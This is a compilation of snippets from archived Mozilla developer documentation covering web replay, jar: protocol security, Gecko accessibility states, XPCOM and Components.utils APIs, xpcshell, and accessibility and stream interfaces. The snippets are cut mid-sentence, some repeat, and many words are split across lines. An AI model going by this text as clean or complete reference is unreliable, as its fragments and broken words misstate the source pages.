... parallelism without impacting users. the cloud should not be the only option by which people can use web replay, however. all features should be accessible to users operating locally. while cloud integration is not in placer, web replay's architecture has recently been redesigned in preparation for cloud support, and communicating with replaying processes over a network connection instead of
ipc should work pretty efficiently. recording firefox ui (partially implemented) right now only content tabs can be recorded and replayed. firefox's ui and privileged code is largely written in js, and it would be nice to be able to use web replay to help debug and develop firefox itself, for better dogfooding and gathering internal feedback. this is partially underway and is tracked in bug 1521...
Security and the jar protocol
default for use from web content beginning in firefox 45, but re-enabled again because it broke the experience of ibm inotes users. inotes has since been updated so that it no longer needs remote jars, so they have been disabled again in firefox 55. you may re-enable the feature if necessary by setting the network.jar.block-remote-files preference to false. ...
...re simply z
ip compressed bundles of files. firefox 2.0.0.10 (and firefox 1.5.0.15) fixed a potential security issue in the same origin policy when the jar: protocol was used to load data. prior to this change, specifying the jar: protocol caused firefox to assume that the file being retrieved is a jar file, regardless of its mime type (in other words, its mime type was assumed to be application/z
ip, regardless of what it actually was). this means that no matter what the file's real contents are, as far as firefox is concerned, it was a z
ip archive. this ordinarily isn't a big deal, since site developers wouldn't put up dangerous files and set them up to download like z
ip archives. ...
... unless, of course, the browser thinks it's a jar file. so starting with gecko 1.8.0.15 and 1.8.1.10, the jar: protocol is only allowed if the mime type of the file is application/java-archive. ...
Gecko states
state_sizeable the object can be resized. for example, a user could change the size of a window by clicking the border with a mouse and dragging the mouse. state_moveable indicates that the object can be moved. for example, a user can click on the titlebar for the object and drag the object to a new location. state_selfvoicing the object or child uses text-to-speech (tts) technology for descr
iption purposes. a speech-based accessibility aid does not announce information when an object with this state has the focus because the object automatically announces information. isn't used state_focusable the object can be focused. applied to: events: concomitant state: state_focused state_selectable the object can be selected. applied to: events: concomitant state: state_sele...
...ents: concomitant state: state_focused state_selectable the object can be selected. applied to: events: concomitant state: state_selected state_linked indicates that the object is formatted as a hyperlink. the object role will usually be role_text_leaf. state_traversed the object is a hyperlink that has been visited (previously clicked) by a user. state_multiselectable supports mult
iple selection state_extselectable supports extended selection state_required indicates that user interaction is required. state_important isn;t used. state_invalid indicates a validation failure. ext_state_supports_autocompletion for editable areas that have any kind of autocompletion ext_state_defunct object no longer exists ext_state_selectable_text for text which is selectable, ...
...f autocompletion ext_state_defunct object no longer exists ext_state_selectable_text for text which is selectable, object must implement nsiaccessibletext ext_state_editable implements nsiaccessibleeditabletext ext_state_active this window is currently the active window ext_state_modal must do something with control before leaving it ext_state_multi_line edit control that can take mult
iple lines ext_state_horizontal uses horizontal layout ext_state_opaque indicates this object paints every pixel within its rectangular region ext_state_single_line this text object can only contain 1 line of text ext_state_transient ext_state_vertical especially used for sliders and scrollbars ext_state_stale object not dead, but not up-to-date either ext_state_enabled a widget that...
Using the Places annotation service
olons, spaces, most punctuation, and non-ascii characters. you should try to have relatively few annotation names. the service stores these names in a separate table, and the fewer names there are, the more efficient retrieving names will be. you should not design your service so that you require hundreds of unique annotation names. setting an annotation the annotation provides a variety of scr
iptable and non-scr
iptable setters for annotations on both pages and on items in the places database (see nsiannotationservice.idl for the exact declarations). from c++ you must use the setter for the explicit data type being saved: setpageannotationstring(auri, aname, avalue, aflags, aexpiration); setpageannotationint32(auri, aname, avalue, aflags, aexpiration); setpageannotationint64(auri, an...
... name: this is the name of the anno...
...you can use the annotations service's hasannotation method to determine in advance if the page has the requested annotation. however, it is more efficient to just try to do the operation and catch the exception; the extra c...
FUEL
we want to start with areas that will provide the most benefit. fuel has a fueliapplication interface that implements all the functions of extiapplication. ...
...we want to start with areas that will provide the most benefit. fuel has a fueliapplication interface that implements all the functions of extiapplication. the library has also been implemented in thunderbird ("steel") and in seamonkey ("smile"). ...
...as. we want to start with areas that will provide the most benefit. fuel has a fueliapplication interface that implements all the functions of extiapplication. the library has also been implemented in thunderbird ("steel") and in seamonkey ("smile"). objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions ext
ipreference ext
ipreferencebranch extisessionstorage fueliapplication objects fueliannotations fueliapplication fuelibookmark fuelibookmarkfolder fuelibookmarkroots fuelibrowsertab fueliwindow xpcom although the fuel application object is preloaded into xul scr
ipts, it is not preloaded into javascr
ipt xpcom code. the object needs to be accessed like any other xpcom service: var appl...
XML Extras
the xml extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds. ...
.... with older builds, passing strings to send() works only in chrome, see post.html sample. the "workaround" is to use domparser object's parsefromstring() method to create a document from string, and pass the temporary document into send(). xmlhttprequest.open("ahost") ok file:// documents can access http:// documents but you need to enable universalbrowserread privilege in your scr
ipts - see the javascr
ipt security: signed scr
ipts document for more details. normally your files should reside on a webserver so this shouldn't pose a problem (there you do not need that line either). additionally, "foo.com:80" and "foo.com:313" are considered different hosts for security purposes. you cannot open a connection to a different host. domparser creation not available new...
...cannot open a connection to a different host. domparser creation not available new domparser() xmlserializer creation not available new xmlserializer() minimal documentation for the components listed above can be found using mozilla documentation generated by doxygen. file new bugs for additional documentation contributions, either specifically aimed at javascr
ipt developers or to complete & clarify the javadoc-style comments in the idl files. nsidomserializer (currently, the javascr
ipt constructor is xmlserializer()) nsidomparser (currently, the javascr
ipt constructor is domparser()) nsixmlhttprequest please see the xml linking and pointing section in xml in mozilla document for fixptr and xpointer documentation. how can i help? help with test...
Using XPCOM Utilities to Make Things Easier
entation code and leave you working on the actual logic for your component. note that all of the macros described in this section are similar but are used in slightly different situations. some differ only in whether or not a method is called when the module is created and/or destroyed. xpcom module macros lists the macros discussed in this section. xpcom module macros macro descr
iption ns_impl_nsgetmodule(name, components) implements the nsimodule interface with the module name of name and the component list in components. ns_impl_nsgetmodule_with_ctor(name, components, ctor) same as above but allows for a special function to be called when the module is created. ns_impl_nsgetmodule_with_dtor(name, components, dtor) same as the first macr...
...in the following information: a human readable class name the class id (cid) the contract id (an optional but recommended argument) a constructor for the given object static const nsmodulecomponentinfo components[] = { { "pretty class name", cid, contract_id, constructor }, // ... }; the important thing to note in the fictitious listing above is that it can support mult
iple components in a module. modules such as the networking libraries in gecko ("necko") have over 50 components declared in a single nsmodulecomponentinfo array like this. the first entry of the nsmodulecomponentinfo above is the name of the component. though it isn't used that much internally at the present time, this name should be something that meaningfully describes the module. the second en...
...d are often used to deal with unicode strings. the string classes in xpcom are not just limited to representing a null terminated sequence of characters, however. they are fairly complex because they support the gecko layout engine and other subsystems that manage large chunks of data. additionally, in some versions of mozilla the string classes support sequences of characters broken up into mult
iple fragments (fragments which may or may not be null terminated)[nulls-in-strings]. all string classes in xpcom derive from one of two abstract classes[other-string-classes]: nsastring and nsacstring. the former handles double byte characters, and the latter tends to be used in more general circumstances, but both of these classes define the functionality of a string. you can see these classes be...
Components.Exception
see also nsixpcexception. ...
... see also nsixpcexception. ...
...r developer-facing locations, defaulting to 'exception' result the nsresult value of the exception, which defaults to components.results.ns_error_failure stack an xpcom stack to be set on the exception (defaulting to the current stack chain) data any additional data you might want to store, defaulting to null example throw components.exception("i am throwing an exception from a javascr
ipt xpcom component."); ...
Components.interfaces
nents.interfaces is a read-only object whose properties are interfaces indexed by their names. introduction components.interfaces is a read-only object whose properties implement the nsijsiid interface. each object represents one of the xpcom interfaces -- that some component or another might or might not implement. ...
...ces is a read-only object whose properties are interfaces indexed by their names. introduction components.interfaces is a read-only object whose properties implement the nsijsiid interface. each object represents one of the xpcom interfaces -- that some component or another might or might not implement. it reflects only those interfaces which have been designated in their .idl descr
iption as scr
iptable, that is the interfaces which xpconnect is capable of reflecting into javascr
ipt. properties of the components.interfaces object are used where xpcom methods expect a parameter of type nsid. this includes nsisupports.queryinterface(), the optional parameter accepted by nsijscid.getservice(), nsijscid.createinstance() when called from javascr
ipt, and nsiclassinfo.getinterfaces(). the proper...
...ect can be enumerated using a for...in loop. usage accessing an interface object properties of the components.interfaces object are indexed by interface name. you can retrieve an interface object using: var iface = components.interfaces.nsisupportsarray; this will return you the interface object for the nsisupportsarray interface. accessing constants defined in an interface interface descr
iptions (cf. xpidl) may not only contain method declarations, but also constants. for example, assume we have the following interface declaration: interface nsifoo : nsisupports { const pruint32 myflag = 5; }; the constant myflag can then be accessed using var myflag = components.interfaces.nsifoo.myflag; ...
Components.utils.forceGC
components.utils.forcegc lets scr
ipts force a garbage collection cycle. the mozilla javascr
ipt engine will perform garbage collection automatically when the javascr
ipt heap grows beyond a certain size. this mechanism doesn't account for any native (c++) xpcom objects hanging off javascr
ipt objects though. in many cases a javascr
ipt application will have internal knowledge of javascr
ipt objects referencing large (trees of) xpcom objects and know when they are no longer reachable. in this case it can be important to be able to force a garbage collection cycle from javascr
ipt. another instance where it can be useful to force garbage collection is before cleaning out dead reference from a hash of weak javascr
ipt references. users should note that garbage collection is a very expensive operation...
...bage collection is before cleaning out dead reference from a hash of weak javascr
ipt references. users should note that garbage collection is a very expensive operation and should only be forced when it is known to be absolutely necessary. note: nsidomwindowutils.garbagecollect() offers similar functionality but will trigger the cycle collector in addition to the garbage collector in the javascr
ipt engine. this will make sure that xpcom components that build cycles with javascr
ipt objects also get collected which might be important, for example for testcases that depend on the garbage collector. requires universalxpconnect privileges. ...
...e collector in addition to the garbage collector in the javascr
ipt engine. this will make sure that xpcom components that build cycles with javascr
ipt objects also get collected which might be important, for example for testcases that depend on the garbage collector. requires universalxpconnect privileges. if you want to schedule garbage collection to occur in the future, at a time when no javascr
ipt code is running, you can use components.utils.scheduleprecisegc() instead. ...
Components.utils.import
components.utils.import was introduced in firefox 3 and is used for sharing code between different scopes easily. for example, you can import xpcomutils.jsm to avoid copy/pasting long xpcom component registration boilerplate in your component files. see using javascr
ipt code modules for more details. note: prior to gecko 2.0, javascr
ipt code modules could only be loaded using file: or resource: urls. gecko 2.0 adds support for loading modules from chrome: urls, even those inside jar archives. syntax components.utils.import(url [, scope]); // or, if you use a tool such as jslint which reports compiler errors for the above, components.utils["import"](url [, scope]); parameters url a string of the url of the scr
ipt to be loaded. the url must point to a file on the disk, possibly i...
...ally a good scope. return value the module's global object. use of the return value is discouraged since it grants access to the module's internal properties which are not part of its public api. import throws if it encounters an error (like a syntax error) in the file it reads. example components.utils.import("resource://gre/modules/xpcomutils.jsm", this); difference from mozijssubscr
iptloader the differences from mozijssubscr
iptloader: the behavior when importing/loading the same code from different locations: the subscr
ipt loader evaluates the specified code each time it is invoked, with the caller's global object. components.utils.import evaluates the code of each module only once, in its own scope. for example: var scope1 = {}, scope2 = {}; components.utils.import("...
...scope. for example: var scope1 = {}, scope2 = {}; components.utils.import("resource://gre/modules/json.jsm", scope1); components.utils.import("resource://gre/modules/json.jsm", scope2); assert(scope2.xpcomutils === scope1.xpcomutils); ...returns true, whereas: var someurl = "resource://gre/modules/json.jsm"; var obj1 = {}, obj2 = {}; var loader = components.classes["@mozilla.org/moz/jssubscr
ipt-loader;1"] .getservice(components.interfaces.mozijssubscr
iptloader); loader.loadsubscr
ipt(someurl, obj1); loader.loadsubscr
ipt(someurl, obj2); assert(obj2 === obj1); ...returns false. this means components.utils.import is better suited for efficient sharing of code (and data?) between js scr
ipts running in different scope. additional resources components.utils bug ...
Components.utils.reportError
this means you can use components.utils.reporterror to report debugging messages to the error console, just like dump() can be used to print messages to the native console. ...
...this means you can use components.utils.reporterror to report debugging messages to the error console, just like dump() can be used to print messages to the native console. ...
...verity, unlike reporterror. function mydump(amessage) { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); consoleservice.logstringmessage("my component: " + amessage); } firefox 3: the error console will not display chrome errors by default. to show them, set the preference 'javascr
ipt.options.showinconsole' to true, or use nsconsoleservice instead to show a message. firefox 4: the preference 'javascr
ipt.options.showinconsole' is set to true by default in this version. examples usage in an exception handler: try { this.could.raise.an.exception; } catch(e) { components.utils.reporterror(e); // report the error and continue execution } sending debugging messages to the...
Components.utils.schedulePreciseGC
note: garbage collection is a very expensive operation and should only be forced when it is known to be absolutely necessary. requires chrome privileges. ...
... note: garbage collection is a very expensive operation and should only be forced when it is known to be absolutely necessary. requires chrome privileges. ...
...uted in once the scheduled garbage collection has been completed: components.utils.scheduleprecisegc( function() { // this code is executed when the garbage collection has completed } ); since the garbage collection doesn't occur until some time in the future (unlike, for example, components.utils.forcegc(), which causes garbage collection immediately but isn't able to collect all javascr
ipt-related memory), the callback lets you know when that's been finished. ...
Components.utils.waiveXrays
for example, privileged code using an xray to a dom object sees only the original, native version of the dom object. any expando properties are not visible, and if any native properties have been redefined, this has no effect. xray vision is designed to make most simple operations safe. ...
...ct is an xray or not. syntax waived = components.utils.waivexrays(obj); parameters obj the object for which we wish to waive xrays. returns if the argument obj is an xray, this function returns a wrapper that transitively waives xray behavior on the underlying object and anything that comes off the object. if obj is not an xray, this function just returns obj. ...
...s.waivexrays(obj); parameters obj the object for which we wish to waive xrays. returns if the argument obj is an xray, this function returns a wrapper that transitively waives xray behavior on the underlying object and anything that comes off the object. if obj is not an xray, this function just returns obj. ...
xpcshell
prerequisites you need your own build of mozilla to use xpcshell. running xpcshell ./run-mozilla.sh ./xpcshell xpcshell is almost always in the same directory as run-mozilla.sh. $ locate run-mozilla.sh /usr/lib/firefox-0.10.1/run-mozilla.sh /usr/lib/thunderbird-0.9/run-mozilla.sh /usr/local/mozilla/run-mozilla.sh /opt/mozilla/run-mozilla.sh /root/.trash/mozilla/run-mozilla.sh just pick one, cd over there, and run-mozilla.sh xpcshell, if it's present. ...
..., it might not be there if you have a non-debug version of firefox, mozilla, thunderbird, etc.) $ cd /opt/mozilla $ ./run-mozilla.sh ./xpcshell js> execute xpcshell from window the built xpcshell.exe can't be executed under the mozilla build shell(bash). it should be executed under the window command prompt source_directory/obj-xxxxx/dist/bin> xpcshell.exe using the latest version of javascr
ipt at present, xpcshell doesn't use the latest version of javascr
ipt, so newer language features, such as the let statement introduced in javascr
ipt 1.7, are not available. to rectify this, run xpcshell with the -v 180 command-line option, which tells xpcshell to use javascr
ipt 1.8. example you can input javascr
ipt, straight to mozilla. js> 5+7 12 js> print("hello, world!") hello, world! js> ...
...ascr
ipt, so newer language features, such as the let statement introduced in javascr
ipt 1.7, are not available. to rectify this, run xpcshell with the -v 180 command-line option, which tells xpcshell to use javascr
ipt 1.8. example you can input javascr
ipt, straight to mozilla. js> 5+7 12 js> print("hello, world!") hello, world! js> see also howto for common problems in writing xpcshell scr
ipts, e.g., doing async network calls or using js modules. pretty much all mozilla programs use xpcom components via xpconnect. read xpconnect:using components to get started with that. see the xpcshell reference for information on command line arguments and extension functions. learn how to write xpcshell-based unit tests. read xpcshell:profiling for information on how to profile scr
ipts. ...
XPConnect
using components how to talk with xpcom components. xpconnect and xpidl faq a faq about using xpconnect and xpidl. this page needs to migrate to mdn. ...
... using components how to talk with xpcom components. xpconnect and xpidl faq a faq about using xpconnect and xpidl. this page needs to migrate to mdn. ...
...pers what sorts of wrappers xpconnect generates and uses xpconnect security membranes tools xpcshell join the xpcom community choose your preferred method for joining the discussion: mailing list newsgroup rss feed irc: #developers (learn more)tools: javascr
ipt component wizard, visual c++ component wizard, visual c++ component wizard for visual studio 2010 ...
IAccessible2
other-licenses/ia2/accessible2.idlnot scr
iptable please add a summary to this article. 1.0 66 introduced gecko 1.9 inherits from: iaccessible last changed in gecko 1.9 (firefox 3) method overview [propget] hresult attributes([out] bstr attributes ); [propget] hresult extendedrole([out] bstr extendedrole ); [propget] hresult extendedstates([in] long maxextendedstates, [out, size_is(,maxextendedstates), length_is(, nextendedstates)] bstr extendedstates, [out] long nextendedstates ); [propget] hresult groupposition([out] long grouplevel, [out] long similaritemsingroup, [out] long positioningroup ); [propget] hresult indexinparent([out] long indexinparent ); [propget] hresult locale([out] ia2locale locale ); [propget] hresult localizedextendedrole...
...propget] hresult nrelations( [out] long nrelations ); parameters nrelations return value s_ok. relation() returns one accessible relation for this object. [propget] hresult relation( [in] long relationindex, [out] iaccessiblerelation relation ); parameters relationindex 0 based. relation return value e_invalidarg if bad [in] passed, [out] value is null. s_ok. relations() returns mult
iple accessible relations for this object. [propget] hresult relations( [in] long maxrelations, [out, size_is(maxrelations), length_is( nrelations)] iaccessiblerelation relations, [out] long nrelations ); parameters maxrelations maximum size of the array allocated by the client. relations the array of accessible relation objects. note that this array is to be allocated by the client and free...
...the top left of an object to a specified location. hresult scrolltopoint( [in] enum ia2coordinatetype coordinatetype, [in] long x, [in] long y ); parameters coordinatetype specifies whether the coordinates are relative to the screen or the parent object. x defines the x coordinate. y defines the y coordinate. return value e_invalidarg if bad [in] passed. s_ok. states() returns the bit str
ip containing any iaccessible2 states. the iaccessible2 states are in addition to the msaa states and are defined in the ia2states enum. [propget] hresult states( [out] accessiblestates states ); parameters states return value s_ok. uniqueid() returns the unique id. the uniqueid is an identifier for this object, is unique within the current window, and remains the same for the lifetime of the ...
IAccessibleHyperlink
1.0 66 introduced gecko 1.9 inherits from: iaccessibleaction last changed in gecko 1.9 (firefox 3) this interface represents a hyperlink associated with a single substring of text or single non-text object. non-text objects can have either a single link or a collection of links such as when the non-text object is an image map. linked objects and anchors are implementation dependent. this interface is derived from iaccessibleaction. iaccessibleaction.nactions() is one greater than the maximum value for the indices used with the methods of this interface. ...
...e greater than the maximum value for the indices used with the methods of this interface. furthermore, the object that implements this interface has to be connected implicitly or explicitly with an object that implements iaccessibletext. startindex() and endindex() are indices with respect to the text exposed by iaccessibletext. this interface provides access to a single object which can have mult
iple actions. an example is an image map which is an image with mult
iple links each of which is associated with a separate non-overlapping area of the image. this interface could also be applied to other kinds of objects with mult
iple actions such as "smart tags" which are objects, typically strings, which have mult
iple actions such as "activate uri", "bookmark uri", end so on. an interesting use ca...
...in this case you would have to implement two levels of accessible hyperlinks. the first level hyperlinks would only implement anchor() and anchortarget(). the anchors would all reference the image object. the anchortargets would reference the second level accessible hyperlink objects. ...
mozISpellCheckingEngine
implement this interface to add support for a new spell checking engine. inherits from: nsisupports last changed in gecko 1.7 this interface represents a spell checking engine. the built in hunspell engine has contract id "@mozilla.org/spellchecker/engine;1". extensions can use this interface to check spelling or provide its own spell checker to editors. ...
...not currently used. read only. dictionary wstring the name of the current dictionary used by check() and suggest(). this will be either element from the array returned by getdictionarylist() or an empty string if no dictionary is selected. note...
... language wstring the language this spell checker is using when checking. this is the language of dictionary. read only. when this changes, the spell checker sends a "spellcheck-dictionary-update" notification. name wstring the name of the engine. not currently used. read only. personaldictionary moz
ipersonaldictionary the personal dictionary. providespersonaldictionary boolean does the engine provide its own personaldictionary? read only. provideswordutils boolean does the engine provide its own word utilities? read only. methods adddirectory() adds all the dictionaries in the specified directory to the spell checker. void...
mozIStorageStatementWrapper
the mozistoragestatementwrapper interface is a storage statement wrapper. when you call the mozistorageconnection interface's createstatement() method, you get a mozistoragestatement which has just direct bindings to sqlite. you can then wrap that statement with a wrapper, which implements nsixpcscr
iptable and provides scr
iptable helpers letting you execute the statement as a function, access bind variables by name as properties, etc. firefox 3.5 note firefox 3.5 adds support for these features directly into the mozistoragestatement interface, so this interface is essentially deprecated. storage/public/mozistoragestatementwrapper.idlscr
iptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits f...
...the value of this is only valid while the statement is still executing, and is still on the appropriate row. ...
...the value of this is only valid while the statement is still executing, and is still on the appropriate row. ...
mozIStorageValueArray
the mozistoragevaluearray interface obtains provides methods to obtain data from a given result. for an introduction on how to use this interface, see the storage overview document. storage/public/mozistoragevaluearray.idlscr
iptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview long gettypeofindex(in unsigned long aindex); long getint32(in unsigned long aindex); long long getint64(in unsigned long aindex); double getdouble(in unsigned long aindex); autf8string getutf8string(in unsigned long aindex); astring getstring(in unsigned long aindex); void getblob(in unsigned long aindex, out unsigned long ada...
... value_type_integer 1 integer data type. value_type_float 2 float data type. value_type_text 3 text data type. value_type_blob 4 blob data type. ...
... value_type_integer 1 integer data type. ...
nsIAccessNode
if the dom node for this access node is "accessible", then a queryinterface to nsiaccessible will succeed. ...
...lity clients to get style, window, markup and other information about a dom node. when accessibility is active in gecko, every dom node can have one nsiaccessnode. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the nsiaccessnode implementations are instantiated lazily. the nsiaccessnode tree for a given dom window has a one to one relationsh
ip to the dom tree. if the dom node for this access node is "accessible", then a queryinterface to nsiaccessible will succeed. method overview nsiaccessnode getchildnodeat(in long childnum); obsolete since gecko 2.0 nsidomcssprimitivevalue getcomputedstylecssvalue(in domstring pseudoelt, in domstring propertyname); domstring getcomputedstylevalue(in domstring pseudoelt,...
...value(in domstring pseudoelt, in domstring propertyname); void scrollto(in unsigned long ascrolltype); void scrolltopoint(in unsigned long acoordinatetype, in long ax, in long ay); attributes note: attempting to access the attributes of a node that is unattached from the accessible tree will result in an exception - ns_error_failure. attribute type descr
iption document nsiaccessibledocument the document accessible that this access node resides in. read only. note: renamed from accessibledocument in gecko 2.0 domnode node the dom node this nsiaccessnode is associated with. read only. firstchildnode nsiaccessnode the first nsiaccessnode child. read only. obsolete since gecko 2.0 innerhtml domst...
nsIAccessibleHyperText
read only. ...
...ion is to implement this interface on the small text object such as a paragraph of text. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview nsiaccessiblehyperlink getlink(in long linkindex); long getlinkindex(in long charindex); long getselectedlinkindex(); obsolete since gecko 1.9 attributes attribute type descr
iption linkcount long the number of links contained within this hypertext object. read only. note: renamed from links in gecko 1.9 methods getlink() retrieves the nsiaccessiblehyperlink object at the given link index. nsiaccessiblehyperlink getlink( in long linkindex ); parameters linkindex 0-based index of the link that is to be retrieved. this can be retrieved vi...
...-based character index. return value the index of the link if it's presented on the given character index, otherwise -1. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. getselectedlinkindex() obsolete since gecko 1.9 (firefox 3) long getselectedlinkindex(); parameters none. return value missing descr
iption exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. see also nsiaccessiblehyperlink ...
nsIAccessibleProvider
accessible/public/nsiaccessibleprovider.idlscr
iptable used to link element and accessible object. for that xbl binding, element should implement the interface. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type descr
iption accessible nsiaccessible read only. obsolete since gecko 1.9 accessibletype long value representing the type of accessible object. see constants for details. read only. constants common use constants constant value descr
iption noaccessible 0 do not create an accessible for this object this is useful if an ancestor binding already implements nsiaccessibleprovider, but no accessible is desired for the inheriting binding. outerdoc 0x00000001 for elements that spawn a new document. for example now it is ...
...ue descr
iption noaccessible 0 do not create an accessible for this object this is useful if an ancestor binding already implements nsiaccessibleprovider, but no accessible is desired for the inheriting binding. outerdoc 0x00000001 for elements that spawn a new document. for example now it is used by <xul:iframe>, <xul:browser> and <xul:editor>. ...
...ox 0x00001018 a combination of a tabs object and a tabpanels object. xultabs 0x00001019 the collection of tab objects, usable in the tabbox and independent of as well. xultext 0x0000101a xultextbox 0x0000101b xulthumb 0x0000101c xultree 0x0000101d xultreecolumns 0x0000101e xultreecolumnitem 0x0000101f xultoolbar 0x00001020 xultoolbarseparator 0x00001021 xultoolt
ip 0x00001022 xultoolbarbutton 0x00001023 xforms elements constants constant value descr
iption xformscontainer 0x00002000 used for xforms elements that provide accessible object for itself as well for anonymous content. this property is used for upload, input[type="xsd:gday"] and input[type="xsd:gmonth"] xformslabel 0x00002001 used for label element. xformsouput 0x00002002 used for...
nsIAccessibleRetrieval
accessible/public/nsiaccessibleretrieval.idlscr
iptable an interface for in-process accessibility clients wishing to get an nsiaccessible or nsiaccessnode for a given dom node. ...
...leretrieval.idlscr
iptable an interface for in-process accessibility clients wishing to get an nsiaccessible or nsiaccessnode for a given dom node. ...
... parameters anode the dom node to get an accessible for. return value the nsiaccessible for the given dom node. getaccessibleinshell() return an nsiaccessible for a dom node in the given pres shell. create a new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already exists. nsiaccessible getaccessibleinshell( in nsidomnode anode, in ns
ipresshell apresshell ); parameters anode the dom node to get an accessible for. apresshell the presentation shell which contains layout info for the dom node. return value the nsiaccessible for the given dom node. getaccessibleinweakshell() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) return an nsiaccessible for a dom node in th...
nsIAccessibleSelectable
accessible/public/nsiaccessibleselectable.idlscr
iptable an interface for the accessibility module and in-process accessibility clients for dealing with getting and changing the selection of accessible nodes. inherits from: nsisupports last changed in gecko 1.7 method overview void addchildtoselection(in long index); void clearselection(); nsiarray getselectedchildren(); boolean ischildselected(in long index); nsiaccessible refselection(in long index); void removechildfromselection(in long index); boolean selectallselection(); attributes attribute type descr
iption selectioncount long the number of accessible children currently selected. read only. ...
...dex); void clearselection(); nsiarray getselectedchildren(); boolean ischildselected(in long index); nsiaccessible refselection(in long index); void removechildfromselection(in long index); boolean selectallselection(); attributes attribute type descr
iption selectioncount long the number of accessible children currently selected. read only. constants constant value descr
iption eselection_add 0 eselection_remove 1 eselection_getstate 2 methods addchildtoselection() adds the specified accessible child of the object to the object's selection. if the specified object is already selected, then it does nothing. void addchildtoselection( in long index ); parameters index the zero-based accessible child index. exceptions thrown ns_error_failure if the ...
...'s selection. if the specified object was not selected, then it does nothing. void removechildfromselection( in long index ); parameters index zero-based accessible child index. exceptions thrown ns_error_failure if the specified object is not selectable. selectallselection() select all children. boolean selectallselection(); parameters none. return value if the object does not accept mult
iple selection, return false. otherwise, returns true. ...
nsIAppShell
this interface is designed to be used on the main application thread only. ...
...read only. methods create() obsolete since gecko 1.9 (firefox 3) creates an application shell. void create( inout int argc, inout string argv ); parameters argc the number of parameters passed in on the command line. argv a direct reference to the parameter array. dispatch...
...) is called. void run(); parameters none. runinstablestate() allows running of a "synchronous section", in the form of an nsirunnable once the event loop has reached a "stable state". a stable state is reached when the currently executing task/event has finished, (see: webappapis.html#synchronous-section). in practice this runs arunnable once the currently executing event finishes. if called mult
iple times per task/event, all the runnables will be executed, in the order in which runinstablestate was called. void runinstablestate( in nsirunnable arunnable ); parameters arunnable an nsirunnable to run. spindown() obsolete since gecko 1.9 (firefox 3) prepare to stop processing events. void spindown(); parameters none. spinup() obsolete since gec...
nsIApplicationUpdateService
toolkit/mozapps/update/nsiupdateservice.idlscr
iptable this interface describes a global application service that handles performing background update checks. it also provides utilities for selecting and downloading update patches. ...
...read only. canapplyupdates boolean true if the update service can download and install updates. indicates if the current user has access privileges to the install directory. read only. cancheckforupdates boolean true if the update service can check for updates. application updates might be ...
...s adddownloadlistener() adds a listener that receives progress and state information about the update that is currently being downloaded. this information is most commonly used to update a user interface that informs the user as to the status of an update. void adddownloadlistener( in nsirequestobserver listener ); parameters listener an object implementing nsirequestobserver and optionally ns
iprogresseventsink that will be notified of state and progress information as the update is downloaded. downloadupdate() starts downloading a software update. astring downloadupdate( in nsiupdate update, in boolean background ); parameters update an nsiupdate object indicating the update to download. background true to download the update in the background or false to download it in the f...
nsIAsyncInputStream
inherits from: nsiinputstream last changed in gecko 1.7 if an input stream is non-blocking, it may return ns_base_stream_would_block when read. the caller must then wait for the stream to have some data to read. if the stream implements nsiasyncinputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes readable or closed (via the asyncwait() method). while this interface is almost exclusively used with non-blocking streams, it is not necessary that nsiinputstream.isnonblocking() return true. nor is it necessary that a non-blocking nsiinputstream implementation also implement nsiasyncinputstream. ...
... that nsiinputstream.isnonblocking() return true. nor is it necessary that a non-blocking nsiinputstream implementation also implement nsiasyncinputstream. method overview void asyncwait(in nsiinputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult astatus); constants constant value descr
iption wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default behavior, causing the oninputstreamready notification to be suppressed until the stream becomes closed (either as a result of closewithstatus()/close being called on the stream or possibly due to some error in the underlying stream). methods asyncwait() asynchronously wait for the stream to be readable or ...
...et. closewithstatus() this method closes the stream and sets its internal status. if the stream is already closed, then this method is ignored. once the stream is closed, the stream's status cannot be changed. any successful status code passed to this method is treated as ns_base_stream_closed, which has an effect equivalent to nsiinputstream.close(). note: this method exists in part to support p
ipes, which have both an input end and an output end. if the input end of a p
ipe is closed, then writes to the output end of the p
ipe will fail. the error code returned when an attempt is made to write to a "broken" p
ipe corresponds to the status code passed in when the input end of the p
ipe was closed, which greatly simplifies working with p
ipes in some cases. void closewithstatus( in nsresult as...
nsIAsyncOutputStream
inherits from: nsioutputstream last changed in gecko 1.7 if an output stream is non-blocking, it may return ns_base_stream_would_block when written to. the caller must then wait for the stream to become writable. if the stream implements nsiasyncoutputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes writable or closed (via the asyncwait() method). while this interface is almost exclusively used with non-blocking streams, it is not necessary that nsioutputstream.isnonblocking() return true. ...
...at nsioutputstream.isnonblocking() return true. nor is it necessary that a non-blocking nsioutputstream implementation also implement nsiasyncoutputstream. method overview void asyncwait(in nsioutputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult reason); constants constant value descr
iption wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default behavior, causing the onoutputstreamready notification to be suppressed until the stream becomes closed (either as a result of closewithstatus()/close being called on the stream or possibly due to some error in the underlying stream). methods asyncwait() asynchronously wait for the stream to be writable or...
...et. closewithstatus() this method closes the stream and sets its internal status. if the stream is already closed, then this method is ignored. once the stream is closed, the stream's status cannot be changed. any successful status code passed to this method is treated as ns_base_stream_closed, which has an effect equivalent to nsiinputstream.close(). note: this method exists in part to support p
ipes, which have both an input end and an output end. if the output end of a p
ipe is closed, then reads from the input end of the p
ipe will fail. the error code returned when an attempt is made to read to a "closed" p
